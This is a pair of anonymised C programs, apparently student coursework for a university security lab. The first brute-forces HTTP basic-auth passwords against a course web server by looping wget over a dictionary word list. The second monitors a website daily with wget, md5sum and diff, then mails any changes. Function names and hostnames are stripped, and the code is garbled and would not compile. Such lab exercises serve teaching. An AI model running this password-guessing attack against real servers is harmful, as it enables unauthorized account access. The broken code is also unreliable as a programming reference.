

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}

#include<stdio.h>
#include<stdlib.h>
#include<ctype.h>


int  (int argc, char *argv[])
{
   FILE *fp;
     
   while(1)
   {       
      system("wget -p http://www.cs.rmit.edu./students");
      
      
      
      system("mkdir Images");
      
      if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
      { 
         system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
	 system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
	 fclose(fp);
	 exit(0);
      }
      else
      {          
         fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
	 system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
	 system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
	 fclose(fp);
      }
      
      
      
      system("mkdir Text");
      
      if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
      { 
         system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
	 exit(0);
      }
      else
      {          
      	 fopen("/home/s//SECAS02ANS/Text/index.html","r");
	 system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
	 fclose(fp);
      }     
       
      
      
      sleep(86400);
    }	 
    return (EXIT_SUCCESS);
}
     
	   
	  	
